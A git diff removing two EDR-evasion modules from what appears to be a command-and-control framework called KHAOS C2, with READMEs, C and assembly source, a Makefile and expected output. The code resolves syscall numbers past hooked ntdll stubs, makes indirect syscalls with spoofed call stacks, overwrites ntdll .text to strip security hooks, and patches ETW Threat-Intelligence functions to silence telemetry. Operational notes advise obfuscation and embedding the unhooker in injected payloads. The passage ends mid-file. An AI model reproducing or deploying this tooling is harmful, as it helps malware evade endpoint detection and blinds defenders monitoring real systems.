||||||
Expected output:
|
|
||||||
|
|
||||||
```
|
|
||||||
[+] sc_gadget = 00007ffe2fd9fbe2 (syscall;ret in ntdll .text)
|
|
||||||
[+] sc_frame1 = 00007ffe2d2031c9 (KernelBase ret gadget)
|
|
||||||
[+] sc_frame2 = 00007ffe2fc441d9 (ntdll ret gadget)
|
|
||||||
|
|
||||||
[*] SSN NtAllocateVirtualMemory = 0x0018
|
|
||||||
[*] SSN NtProtectVirtualMemory = 0x0050
|
|
||||||
[*] SSN NtFreeVirtualMemory = 0x001E
|
|
||||||
[*] SSN NtWriteVirtualMemory = 0x003A
|
|
||||||
[*] SSN NtOpenProcess = 0x0026
|
|
||||||
|
|
||||||
[+] NtAllocateVirtualMemory: base=... sz=0x1000 st=0x00000000
|
|
||||||
[+] NtProtectVirtualMemory: st=0x00000000 old_prot=0x4
|
|
||||||
[*] VirtualQuery Protect = 0x20 (expected 0x20 = PAGE_EXECUTE_READ)
|
|
||||||
[+] page is PAGE_EXECUTE_READ — indirect syscalls working correctly
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
- x64 only.
|
|
||||||
- Halo's Gate scans ±32 neighbors. If all 64 neighbors are hooked (uncommon), SSN resolution fails and `sc_ssn()` returns `0xFFFF`.
|
|
||||||
- Call-stack spoofing is 2 frames deep. A thorough stack inspection (unwind data validation, module range checks) will see our code at `[rsp+0x10]`. Full synthetic stack spoofing requires building proper unwind data and a complete ROP frame chain — out of scope for this PoC.
|
|
||||||
- `sc_ssn()` uses `strcmp` on EAT names, which are ASCII and sorted. This is standard EAT iteration with no obfuscation — replace with a hash walk in production.
|
|
||||||
- Gadget addresses change on every reboot (ASLR). `sc_init()` must be called in-process.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Operational notes
|
|
||||||
|
|
||||||
This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production:
|
|
||||||
|
|
||||||
- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules.
|
|
||||||
- Encrypt sensitive string literals (see EVS XOR in KHAOS C2).
|
|
||||||
- Call `sc_init()` early — before EDR DLLs load via `DLL_PROCESS_ATTACH` if possible.
|
|
||||||
|
|
||||||
The `sc_gadget` address can be cached; it points into ntdll `.text` which is stable within a process lifetime (even after ntdll unhooking, the `syscall;ret` bytes remain).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Credits
|
|
||||||
|
|
||||||
Technique originally described by [Hell's Gate](https://github.com/am0nsec/HellsGate) (am0nsec / smelly__vx) and extended by [Halo's Gate](https://blog.sektor7.net/#!res/2021/halosgate.md) (Sektor7). Call-stack spoofing approach from [SilentMoonwalk](https://github.com/klezVirus/SilentMoonwalk) (klezVirus). This implementation integrates all three into a single compact dispatcher.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,54 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity.
|
|
||||||
* In production, replace with a PEB walk and EVS XOR string obfuscation.
|
|
||||||
*/
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Pointers used by spoof_stub.S — must be initialized by sc_init().
|
|
||||||
* sc_gadget : syscall;ret sequence inside ntdll .text
|
|
||||||
* sc_frame1 : single `ret` in KernelBase .text (inner spoof frame)
|
|
||||||
* sc_frame2 : single `ret` in ntdll .text (outer spoof frame)
|
|
||||||
*/
|
|
||||||
extern void *sc_gadget;
|
|
||||||
extern void *sc_frame1;
|
|
||||||
extern void *sc_frame2;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* sc_init() — find gadgets, must be called once before sc_ssn/sc_call.
|
|
||||||
* Returns 0 on success, -1 if ntdll has no syscall;ret sequence.
|
|
||||||
*/
|
|
||||||
int sc_init(void);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* sc_ssn(name) — resolve the syscall number for an Nt* function.
|
|
||||||
*
|
|
||||||
* Hell's Gate : stub starts with `4C 8B D1 B8 xx xx` → read SSN directly.
|
|
||||||
* Halo's Gate : stub hooked (JMP trampoline) → walk EAT for a clean neighbor,
|
|
||||||
* then compute SSN by adjusting the neighbor's SSN by the delta.
|
|
||||||
*
|
|
||||||
* Returns 0xFFFF on failure.
|
|
||||||
*/
|
|
||||||
uint16_t sc_ssn(const char *name);
|
|
||||||
|
|
||||||
/*
|
|
||||||
* sc_call(ssn, a1..a11) — indirect syscall dispatcher.
|
|
||||||
*
|
|
||||||
* - Jumps to a `syscall;ret` gadget inside ntdll .text (not our own code).
|
|
||||||
* - Pushes two fake return addresses onto the stack before the jmp:
|
|
||||||
* [rsp+0x00] = sc_frame1 (ret in KernelBase .text)
|
|
||||||
* [rsp+0x08] = sc_frame2 (ret in ntdll .text)
|
|
||||||
* Stack walk during the syscall shows: Nt* → KernelBase → ntdll → caller.
|
|
||||||
* - Remaps arguments to Windows Nt* ABI (r10=a1, rdx=a2, r8=a3, r9=a4,
|
|
||||||
* a5..a11 on stack at [rsp+0x28..]).
|
|
||||||
*
|
|
||||||
* Caller must zero unused trailing args.
|
|
||||||
*/
|
|
||||||
extern NTSTATUS sc_call(uint16_t ssn,
|
|
||||||
uintptr_t a1, uintptr_t a2, uintptr_t a3,
|
|
||||||
uintptr_t a4, uintptr_t a5, uintptr_t a6,
|
|
||||||
uintptr_t a7, uintptr_t a8, uintptr_t a9,
|
|
||||||
uintptr_t a10, uintptr_t a11);
|
|
||||||
@@ -1,117 +0,0 @@
|
|||||||
#include "indirect_syscall.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Demo: allocate a page via indirect NtAllocateVirtualMemory, write bytes,
|
|
||||||
* flip to PAGE_EXECUTE_READ via indirect NtProtectVirtualMemory, verify.
|
|
||||||
*
|
|
||||||
* On an EDR-hooked system, sc_ssn() uses Halo's Gate to recover the real SSN
|
|
||||||
* even when the syscall stub starts with a JMP trampoline.
|
|
||||||
*/
|
|
||||||
|
|
||||||
int main(void)
|
|
||||||
{
|
|
||||||
printf("[*] sc_init()...\n");
|
|
||||||
if (sc_init() != 0) {
|
|
||||||
printf("[!] sc_init failed — no syscall;ret gadget found in ntdll .text\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[+] sc_gadget = %p (syscall;ret in ntdll .text — indirect jmp target)\n",
|
|
||||||
sc_gadget);
|
|
||||||
printf("[+] sc_frame1 = %p (KernelBase ret gadget — inner spoof frame)\n",
|
|
||||||
sc_frame1);
|
|
||||||
printf("[+] sc_frame2 = %p (ntdll ret gadget — outer spoof frame)\n\n",
|
|
||||||
sc_frame2);
|
|
||||||
|
|
||||||
/* Resolve SSNs */
|
|
||||||
uint16_t ssn_alloc = sc_ssn("NtAllocateVirtualMemory");
|
|
||||||
uint16_t ssn_prot = sc_ssn("NtProtectVirtualMemory");
|
|
||||||
uint16_t ssn_free = sc_ssn("NtFreeVirtualMemory");
|
|
||||||
uint16_t ssn_write = sc_ssn("NtWriteVirtualMemory");
|
|
||||||
uint16_t ssn_open = sc_ssn("NtOpenProcess");
|
|
||||||
|
|
||||||
printf("[*] SSN NtAllocateVirtualMemory = 0x%04X\n", ssn_alloc);
|
|
||||||
printf("[*] SSN NtProtectVirtualMemory = 0x%04X\n", ssn_prot);
|
|
||||||
printf("[*] SSN NtFreeVirtualMemory = 0x%04X\n", ssn_free);
|
|
||||||
printf("[*] SSN NtWriteVirtualMemory = 0x%04X\n", ssn_write);
|
|
||||||
printf("[*] SSN NtOpenProcess = 0x%04X\n\n", ssn_open);
|
|
||||||
|
|
||||||
if (ssn_alloc == 0xFFFF || ssn_prot == 0xFFFF) {
|
|
||||||
printf("[!] SSN resolve failed — Halo's Gate unable to find clean neighbor\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
* NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits,
|
|
||||||
* RegionSize, AllocationType, Protect)
|
|
||||||
*/
|
|
||||||
HANDLE proc = (HANDLE)(LONG_PTR)-1; /* current process */
|
|
||||||
PVOID base = NULL;
|
|
||||||
SIZE_T sz = 0x1000;
|
|
||||||
|
|
||||||
NTSTATUS st = sc_call(ssn_alloc,
|
|
||||||
(uintptr_t)proc,
|
|
||||||
(uintptr_t)&base,
|
|
||||||
0,
|
|
||||||
(uintptr_t)&sz,
|
|
||||||
(uintptr_t)(MEM_COMMIT | MEM_RESERVE),
|
|
||||||
(uintptr_t)PAGE_READWRITE,
|
|
||||||
0, 0, 0, 0, 0);
|
|
||||||
|
|
||||||
if (st != 0 || !base) {
|
|
||||||
printf("[!] NtAllocateVirtualMemory failed: 0x%08X\n", (unsigned)st);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
printf("[+] NtAllocateVirtualMemory: base=%p sz=0x%zX st=0x%08X\n",
|
|
||||||
base, sz, (unsigned)st);
|
|
||||||
|
|
||||||
/* Write a recognizable marker — page is PAGE_READWRITE at this point */
|
|
||||||
((BYTE *)base)[0] = 0xDE;
|
|
||||||
((BYTE *)base)[1] = 0xAD;
|
|
||||||
((BYTE *)base)[2] = 0xBE;
|
|
||||||
((BYTE *)base)[3] = 0xEF;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* NtProtectVirtualMemory(ProcessHandle, BaseAddress, RegionSize,
|
|
||||||
* NewProtect, OldProtect)
|
|
||||||
*/
|
|
||||||
PVOID pbase = base;
|
|
||||||
SIZE_T psz = 0x1000;
|
|
||||||
ULONG old = 0;
|
|
||||||
|
|
||||||
st = sc_call(ssn_prot,
|
|
||||||
(uintptr_t)proc,
|
|
||||||
(uintptr_t)&pbase,
|
|
||||||
(uintptr_t)&psz,
|
|
||||||
(uintptr_t)PAGE_EXECUTE_READ,
|
|
||||||
(uintptr_t)&old,
|
|
||||||
0, 0, 0, 0, 0, 0);
|
|
||||||
|
|
||||||
printf("[%c] NtProtectVirtualMemory: st=0x%08X old_prot=0x%lX\n",
|
|
||||||
st == 0 ? '+' : '!', (unsigned)st, old);
|
|
||||||
|
|
||||||
/* Verify via VirtualQuery — does not go through ntdll hooks */
|
|
||||||
MEMORY_BASIC_INFORMATION mbi = {0};
|
|
||||||
VirtualQuery(base, &mbi, sizeof(mbi));
|
|
||||||
printf("[*] VirtualQuery Protect = 0x%lX (expected 0x%lX = PAGE_EXECUTE_READ)\n",
|
|
||||||
mbi.Protect, (ULONG)PAGE_EXECUTE_READ);
|
|
||||||
|
|
||||||
BOOL ok = (st == 0 && mbi.Protect == PAGE_EXECUTE_READ);
|
|
||||||
printf("[%c] page is %s\n", ok ? '+' : '!',
|
|
||||||
ok ? "PAGE_EXECUTE_READ — indirect syscalls working correctly"
|
|
||||||
: "UNEXPECTED — check output above");
|
|
||||||
|
|
||||||
/* NtFreeVirtualMemory */
|
|
||||||
PVOID fbase = base;
|
|
||||||
SIZE_T fsz = 0;
|
|
||||||
sc_call(ssn_free,
|
|
||||||
(uintptr_t)proc,
|
|
||||||
(uintptr_t)&fbase,
|
|
||||||
(uintptr_t)&fsz,
|
|
||||||
(uintptr_t)MEM_RELEASE,
|
|
||||||
0, 0, 0, 0, 0, 0, 0);
|
|
||||||
|
|
||||||
return ok ? 0 : 1;
|
|
||||||
}
|
|
||||||
@@ -1,96 +0,0 @@
|
|||||||
#include "indirect_syscall.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdint.h>
|
|
||||||
|
|
||||||
void *sc_gadget = NULL;
|
|
||||||
void *sc_frame1 = NULL;
|
|
||||||
void *sc_frame2 = NULL;
|
|
||||||
|
|
||||||
/* Scan ntdll/KernelBase .text for a byte sequence starting at min_off bytes in. */
|
|
||||||
static BYTE *_find_seq(HMODULE h, const BYTE *seq, int seqlen, SIZE_T min_off)
|
|
||||||
{
|
|
||||||
if (!h) return NULL;
|
|
||||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
|
|
||||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
|
|
||||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
|
||||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
|
|
||||||
if (memcmp(sec->Name, ".text", 5) != 0) continue;
|
|
||||||
BYTE *base = (BYTE *)h + sec->VirtualAddress;
|
|
||||||
SIZE_T sz = sec->Misc.VirtualSize;
|
|
||||||
for (SIZE_T j = min_off; j + (SIZE_T)seqlen <= sz; j++) {
|
|
||||||
int ok = 1;
|
|
||||||
for (int k = 0; k < seqlen; k++)
|
|
||||||
if (base[j + k] != seq[k]) { ok = 0; break; }
|
|
||||||
if (ok) return base + j;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
int sc_init(void)
|
|
||||||
{
|
|
||||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
HMODULE kbase = GetModuleHandleA("KernelBase.dll");
|
|
||||||
if (!ntdll) return -1;
|
|
||||||
|
|
||||||
/* syscall;ret = 0F 05 C3 */
|
|
||||||
static const BYTE gadget_seq[] = { 0x0F, 0x05, 0xC3 };
|
|
||||||
sc_gadget = _find_seq(ntdll, gadget_seq, 3, 0);
|
|
||||||
if (!sc_gadget) return -1;
|
|
||||||
|
|
||||||
/* ret gadgets for call-stack spoofing — skip first few KB to stay in body code */
|
|
||||||
static const BYTE ret_seq[] = { 0xC3 };
|
|
||||||
if (kbase) sc_frame1 = _find_seq(kbase, ret_seq, 1, 0x2000);
|
|
||||||
sc_frame2 = _find_seq(ntdll, ret_seq, 1, 0x3000);
|
|
||||||
|
|
||||||
/* fallback: both frames in ntdll if KernelBase ret not found */
|
|
||||||
if (!sc_frame1) sc_frame1 = sc_frame2;
|
|
||||||
if (!sc_frame2) return -1;
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
uint16_t sc_ssn(const char *name)
|
|
||||||
{
|
|
||||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
if (!ntdll) return 0xFFFF;
|
|
||||||
|
|
||||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, name);
|
|
||||||
if (!fn) return 0xFFFF;
|
|
||||||
|
|
||||||
/* Hell's Gate: stub is clean — read SSN from mov eax,<ssn> */
|
|
||||||
if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8)
|
|
||||||
return *(uint16_t *)(fn + 4);
|
|
||||||
|
|
||||||
/* Halo's Gate: stub is hooked — scan EAT for an unhooked neighbor */
|
|
||||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)ntdll;
|
|
||||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)ntdll + dos->e_lfanew);
|
|
||||||
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)
|
|
||||||
((BYTE *)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
|
|
||||||
|
|
||||||
DWORD *names = (DWORD *)((BYTE *)ntdll + exp->AddressOfNames);
|
|
||||||
DWORD *funcs = (DWORD *)((BYTE *)ntdll + exp->AddressOfFunctions);
|
|
||||||
WORD *ords = (WORD *)((BYTE *)ntdll + exp->AddressOfNameOrdinals);
|
|
||||||
|
|
||||||
int idx = -1;
|
|
||||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
|
||||||
if (strcmp((char *)((BYTE *)ntdll + names[i]), name) == 0) {
|
|
||||||
idx = (int)i;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (idx < 0) return 0xFFFF;
|
|
||||||
|
|
||||||
/* scan up to 32 neighbors in both directions */
|
|
||||||
for (int d = 1; d <= 32; d++) {
|
|
||||||
for (int s = -1; s <= 1; s += 2) {
|
|
||||||
int ni = idx + s * d;
|
|
||||||
if (ni < 0 || ni >= (int)exp->NumberOfNames) continue;
|
|
||||||
BYTE *nb = (BYTE *)ntdll + funcs[ords[ni]];
|
|
||||||
if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8)
|
|
||||||
return (uint16_t)(*(uint16_t *)(nb + 4) - (uint16_t)(s * d));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return 0xFFFF;
|
|
||||||
}
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
/*
|
|
||||||
* sc_call(ssn, a1..a11) — indirect syscall with 2-frame call-stack spoofing.
|
|
||||||
*
|
|
||||||
* On entry (Windows x64 ABI):
|
|
||||||
* rcx = ssn (uint16_t syscall number)
|
|
||||||
* rdx = a1 (1st Nt* arg)
|
|
||||||
* r8 = a2
|
|
||||||
* r9 = a3
|
|
||||||
* [rsp+0x28] = a4
|
|
||||||
* [rsp+0x30] = a5
|
|
||||||
* [rsp+0x38] = a6
|
|
||||||
* [rsp+0x40] = a7
|
|
||||||
* [rsp+0x48] = a8
|
|
||||||
* [rsp+0x50] = a9
|
|
||||||
* [rsp+0x58] = a10
|
|
||||||
* [rsp+0x60] = a11
|
|
||||||
*
|
|
||||||
* Stack layout after jmp (what the kernel / ETW stack walk sees):
|
|
||||||
* [rsp+0x00] = sc_frame1 (ret in KernelBase .text — inner spoof frame)
|
|
||||||
* [rsp+0x08] = sc_frame2 (ret in ntdll .text — outer spoof frame)
|
|
||||||
* [rsp+0x10] = original return address back to our code
|
|
||||||
*
|
|
||||||
* Nt* ABI remapping performed:
|
|
||||||
* rax = SSN, r10 = a1, rdx = a2, r8 = a3, r9 = a4
|
|
||||||
* [rsp+0x28..0x58] = a5..a11
|
|
||||||
*/
|
|
||||||
|
|
||||||
.text
|
|
||||||
.extern sc_gadget
|
|
||||||
.extern sc_frame1
|
|
||||||
.extern sc_frame2
|
|
||||||
|
|
||||||
.global sc_call
|
|
||||||
sc_call:
|
|
||||||
/* Pre-save a5/a6 before touching the stack — their positions shift after subq */
|
|
||||||
movq 0x30(%rsp), %r10
|
|
||||||
movq 0x38(%rsp), %r11
|
|
||||||
|
|
||||||
/* Grow stack by 16 bytes: make room for 2 fake return addresses */
|
|
||||||
subq $0x10, %rsp
|
|
||||||
|
|
||||||
/* Write spoof frames at the new top of stack */
|
|
||||||
movq sc_frame2(%rip), %rax
|
|
||||||
movq %rax, 0x08(%rsp) /* outer frame: ntdll ret gadget */
|
|
||||||
movq sc_frame1(%rip), %rax
|
|
||||||
movq %rax, 0x00(%rsp) /* inner frame: KernelBase ret gadget */
|
|
||||||
|
|
||||||
/* Store a5/a6 at their final positions ([rsp+0x28], [rsp+0x30]) */
|
|
||||||
movq %r10, 0x28(%rsp)
|
|
||||||
movq %r11, 0x30(%rsp)
|
|
||||||
|
|
||||||
/* Remap args to Nt* ABI: r10=a1, rdx=a2, r8=a3, r9=a4 */
|
|
||||||
movq %rdx, %r10
|
|
||||||
movq %r8, %rdx
|
|
||||||
movq %r9, %r8
|
|
||||||
movq 0x38(%rsp), %r9
|
|
||||||
|
|
||||||
/* Shift a7..a11 down by 0x10 into their final stack positions */
|
|
||||||
movq 0x50(%rsp), %r11 ; movq %r11, 0x38(%rsp)
|
|
||||||
movq 0x58(%rsp), %r11 ; movq %r11, 0x40(%rsp)
|
|
||||||
movq 0x60(%rsp), %r11 ; movq %r11, 0x48(%rsp)
|
|
||||||
movq 0x68(%rsp), %r11 ; movq %r11, 0x50(%rsp)
|
|
||||||
movq 0x70(%rsp), %r11 ; movq %r11, 0x58(%rsp)
|
|
||||||
|
|
||||||
/* Load SSN into eax (lower 16 bits of rcx) */
|
|
||||||
movzwl %cx, %eax
|
|
||||||
|
|
||||||
/* Indirect jump: execute syscall;ret inside ntdll — not our code */
|
|
||||||
jmpq *sc_gadget(%rip)
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
CC = x86_64-w64-mingw32-gcc
|
|
||||||
CFLAGS = -O2 -Wall -Wextra \
|
|
||||||
-Iinclude \
|
|
||||||
-fno-asynchronous-unwind-tables \
|
|
||||||
-fno-ident \
|
|
||||||
-fno-stack-protector
|
|
||||||
LDFLAGS = -lntdll
|
|
||||||
|
|
||||||
SRC = src/ntdll_unhook.c src/demo.c
|
|
||||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
|
||||||
TARGET = build/demo.exe
|
|
||||||
|
|
||||||
all: build $(TARGET)
|
|
||||||
|
|
||||||
build:
|
|
||||||
mkdir -p build
|
|
||||||
|
|
||||||
build/%.o: src/%.c
|
|
||||||
$(CC) $(CFLAGS) -c $< -o $@
|
|
||||||
|
|
||||||
$(TARGET): $(OBJ)
|
|
||||||
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
|
|
||||||
|
|
||||||
clean:
|
|
||||||
rm -rf build
|
|
||||||
|
|
||||||
.PHONY: all clean
|
|
||||||
@@ -1,112 +0,0 @@
|
|||||||
# ntdll-unhook
|
|
||||||
|
|
||||||
Restore ntdll.dll `.text` from a fresh disk mapping to remove EDR inline hooks. Also patches `EtwTi*` telemetry functions with a single `RET`.
|
|
||||||
|
|
||||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## How it works
|
|
||||||
|
|
||||||
EDR products hook ntdll syscall stubs by overwriting the first bytes with a `JMP` to their trampoline:
|
|
||||||
|
|
||||||
```
|
|
||||||
NtOpenProcess (hooked):
|
|
||||||
E9 xx xx xx xx JMP <edr_hook>
|
|
||||||
...
|
|
||||||
|
|
||||||
NtOpenProcess (clean):
|
|
||||||
4C 8B D1 mov r10, rcx
|
|
||||||
B8 26 00 00 00 mov eax, 0x26 ; SSN
|
|
||||||
0F 05 syscall
|
|
||||||
C3 ret
|
|
||||||
```
|
|
||||||
|
|
||||||
### ntdll_unhook()
|
|
||||||
|
|
||||||
```
|
|
||||||
CreateFileW(SystemDir\ntdll.dll, GENERIC_READ)
|
|
||||||
|
|
|
||||||
v
|
|
||||||
CreateFileMappingW(PAGE_READONLY | SEC_IMAGE) <- kernel maps + validates PE
|
|
||||||
|
|
|
||||||
v
|
|
||||||
MapViewOfFile(FILE_MAP_READ) <- clean image, no hooks
|
|
||||||
|
|
|
||||||
v
|
|
||||||
walk .text section in disk image
|
|
||||||
|
|
|
||||||
v
|
|
||||||
NtProtectVirtualMemory(live .text, PAGE_EXECUTE_READWRITE)
|
|
||||||
memcpy(live .text, disk .text, VirtualSize)
|
|
||||||
NtProtectVirtualMemory(live .text, original perms)
|
|
||||||
```
|
|
||||||
|
|
||||||
Key: `SEC_IMAGE` tells the kernel to map the file as a PE image (applying relocations, verifying signature). The result is a clean in-memory copy of ntdll identical to what the Windows loader would produce — before any userland hooks are applied.
|
|
||||||
|
|
||||||
`NtProtectVirtualMemory` is used instead of `VirtualProtect` because `VirtualProtect` itself goes through ntdll and may be hooked.
|
|
||||||
|
|
||||||
### ntdll_patch_etw_ti()
|
|
||||||
|
|
||||||
Patches three functions in ntdll that feed the kernel ETW-TI (Threat Intelligence) provider:
|
|
||||||
|
|
||||||
| Function | Event |
|
|
||||||
|---|---|
|
|
||||||
| `EtwTiLogOpenProcess` | fires on `NtOpenProcess` |
|
|
||||||
| `EtwTiLogReadWriteVm` | fires on `NtReadVirtualMemory` / `NtWriteVirtualMemory` |
|
|
||||||
| `EtwTiLogDuplicateHandle` | fires on `NtDuplicateObject` |
|
|
||||||
|
|
||||||
Each is overwritten with `0xC3` (RET). These functions are in ntdll's `.text` section and do not require kernel interaction to patch.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## API
|
|
||||||
|
|
||||||
```c
|
|
||||||
int ntdll_unhook(void); // restore .text — returns 0 on success, -1 on failure
|
|
||||||
int ntdll_patch_etw_ti(void); // patch 3 EtwTi functions — returns count patched (0-3)
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Build
|
|
||||||
|
|
||||||
```bash
|
|
||||||
make
|
|
||||||
build/demo.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
Expected output on an unhooked system:
|
|
||||||
|
|
||||||
```
|
|
||||||
[*] NtOpenProcess bytes before unhook:
|
|
||||||
[before] 4C 8B D1 B8 26 00 00 00
|
|
||||||
[*] ntdll_unhook() = 0 (OK)
|
|
||||||
[*] NtOpenProcess bytes after unhook:
|
|
||||||
[after ] 4C 8B D1 B8 26 00 00 00
|
|
||||||
[+] stub is clean
|
|
||||||
[*] ntdll_patch_etw_ti() patched 3/3 functions
|
|
||||||
```
|
|
||||||
|
|
||||||
On an EDR-hooked system, `before` will show `E9 ...` (JMP trampoline) and `after` will show the clean syscall stub.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Limitations
|
|
||||||
|
|
||||||
- Restores `.text` only — hooks in other sections (`.data`, import table patching) are not removed.
|
|
||||||
- Does not re-register exception tables (`.pdata`) for the restored `.text`. If the EDR modified anything related to unwind data, this won't fix it.
|
|
||||||
- `EtwTi*` patch survives ntdll reload but not process restart.
|
|
||||||
- Some EDR products monitor `NtMapViewOfSection` for `SEC_IMAGE` mappings of system DLLs. Consider calling `ntdll_unhook` as early as possible (before EDR's DLL loads).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Operational notes
|
|
||||||
|
|
||||||
Call order matters: unhook ntdll **before** patching ETW-TI, so `NtProtectVirtualMemory` calls in `ntdll_patch_etw_ti` go through a clean syscall stub.
|
|
||||||
|
|
||||||
For cross-process injection, unhook in the **target process** context by embedding this code in your shellcode or reflective DLL payload — not from the injector.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
|
||||||
Binary file not shown.
@@ -1,23 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* ntdll_unhook()
|
|
||||||
*
|
|
||||||
* Restores the live ntdll.dll .text section from a fresh copy mapped
|
|
||||||
* directly from disk using SEC_IMAGE (bypasses filesystem hooks).
|
|
||||||
* Overwrites any userland inline hooks (e.g. EDR trampolines) with
|
|
||||||
* clean bytes from the on-disk image.
|
|
||||||
*
|
|
||||||
* Returns 0 on success, -1 on failure.
|
|
||||||
*
|
|
||||||
* ntdll_patch_etw_ti()
|
|
||||||
*
|
|
||||||
* Patches EtwTiLogOpenProcess, EtwTiLogReadWriteVm, EtwTiLogDuplicateHandle
|
|
||||||
* with a single RET byte via NtProtectVirtualMemory, silencing ETW-TI
|
|
||||||
* telemetry for process open / memory read-write / handle dup events.
|
|
||||||
*
|
|
||||||
* Returns number of functions patched (0-3).
|
|
||||||
*/
|
|
||||||
int ntdll_unhook(void);
|
|
||||||
int ntdll_patch_etw_ti(void);
|
|
||||||
@@ -1,50 +0,0 @@
|
|||||||
#include "ntdll_unhook.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Demo: read the first 6 bytes of NtOpenProcess before and after unhooking.
|
|
||||||
*
|
|
||||||
* A hooked stub looks like:
|
|
||||||
* E9 xx xx xx xx xx JMP <EDR trampoline>
|
|
||||||
*
|
|
||||||
* A clean stub looks like:
|
|
||||||
* 4C 8B D1 mov r10, rcx
|
|
||||||
* B8 xx 00 00 00 mov eax, <SSN>
|
|
||||||
* 0F 05 syscall
|
|
||||||
* C3 ret
|
|
||||||
*/
|
|
||||||
static void print_bytes(const char *label, const BYTE *p, int n)
|
|
||||||
{
|
|
||||||
printf("[%s] ", label);
|
|
||||||
for (int i = 0; i < n; i++) printf("%02X ", p[i]);
|
|
||||||
printf("\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void)
|
|
||||||
{
|
|
||||||
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
|
|
||||||
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, "NtOpenProcess");
|
|
||||||
|
|
||||||
printf("[*] NtOpenProcess bytes before unhook:\n");
|
|
||||||
print_bytes("before", fn, 8);
|
|
||||||
|
|
||||||
int rc = ntdll_unhook();
|
|
||||||
printf("[*] ntdll_unhook() = %d (%s)\n", rc, rc == 0 ? "OK" : "FAIL");
|
|
||||||
|
|
||||||
printf("[*] NtOpenProcess bytes after unhook:\n");
|
|
||||||
print_bytes("after ", fn, 8);
|
|
||||||
|
|
||||||
/* Expected clean pattern: 4C 8B D1 B8 <SSN_LO> <SSN_HI> 00 00 */
|
|
||||||
int clean = (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8);
|
|
||||||
printf("[%s] stub is %s\n", clean ? "+" : "!", clean ? "clean" : "still hooked or unknown");
|
|
||||||
|
|
||||||
/* ETW-TI patch — only present on specific Windows builds (PPL/ETW-TI enabled) */
|
|
||||||
int n = ntdll_patch_etw_ti();
|
|
||||||
if (n > 0)
|
|
||||||
printf("[+] ntdll_patch_etw_ti() patched %d/3 functions\n", n);
|
|
||||||
else
|
|
||||||
